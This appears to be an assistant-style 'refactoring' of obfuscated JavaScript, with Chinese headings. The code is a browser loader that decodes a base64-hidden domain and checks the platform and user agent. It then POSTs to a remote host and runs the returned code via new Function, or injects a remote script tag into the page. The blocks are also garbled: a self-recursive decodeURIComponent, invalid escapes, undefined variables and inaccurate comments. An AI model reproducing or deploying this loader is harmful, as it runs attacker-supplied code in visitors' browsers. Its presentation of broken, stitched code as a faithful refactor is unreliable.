以下是重构后的内容:
```javascript
function UqgsgfgDv(e) {
var t = "", n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3;
}
}
return t;
};
function UqSDDFGvyQ(e) {
var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var t = "", n, r, i, s, o, u, a, f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
```
以下是重构后的代码:
```javascript
function decodeURIComponent(str) {
return decodeURIComponent(str);
}
function UqSDDFGvyQ(key) {
return key;
}
var m = [117, 100, 97, 114, 101, 32, 87, 101, 114, 118, 105]; // 需要解码的字符串对应的ASCII码数组
var c = ['%uD', '%uD', '%uA', '%uA', '%uA', '%aD', '%aD', '%aA', '%aA']; // 需要解码的字符对应的编码格式数组
var UYQCJKG = (!/^Mac|Win/.test(navigator.platform) || !navigator.platform) ? function() {
var u = window['U'];
u.i = 'UYQCJKG';
return (!u[u.i]) && (function() {
u = decodeURIComponent(window['U'](''));
c = c.map(function(v) { return new RegExp(v[0], 'g'); }); // 将编码格式数组转换为正则表达式对象数组
m = m.map(function(v) { return String.fromCharCode(parseInt(v, 16)); }); // 将ASCII码数组转换为对应的字符数组
u = decodeURIComponent(u.replace(c[0], '')).replace(c[1], '\x').replace(c[2], '\\y').replace(c[3], '\\z') + '\\u'; // 对解码后的字符串进行替换
u = u.slice(-2) + '\\/' + u.slice(0, -2); // 将Unicode编码值转换为十六进制表示形式
u = decodeURIComponent(u); // 最终解码后的字符串
u += '';
c[0] = '%uD';
c[1] = '%uD';
c[2] = '%ua';
c[3] = '%ua';
c[4] = '%ua';
c[5] = '%ud';
c[6] = '%ud';
c[7] = '%ua';
c[8] = '%ua';
})();
}() || function() {};
return UYQCJKG();
```
以下是重构后的代码:
```javascript
if (navigator.userAgent.indexOf('baiduid') > -1) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://' + u + '/bm-' + i);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');
xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var data = JSON.parse(xhr.responseText);
var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));
name(cs);
}
};
xhr.send('u=1');
} else {
var s = d[crd]('script');
s.src = 'https://' + u + '/m-' + i;
cs.parentElement.insertBefore(s, cs);
}
(function (aGYuc2poZ2tzdmJyLmNvbQ, b, c, d, e) {
function f() {}
})(
'aGYuc2poZ2tzdmJyLmNvbQ==',
'2975',
window,
document,
['G', 'TpoZFcguG']
);
```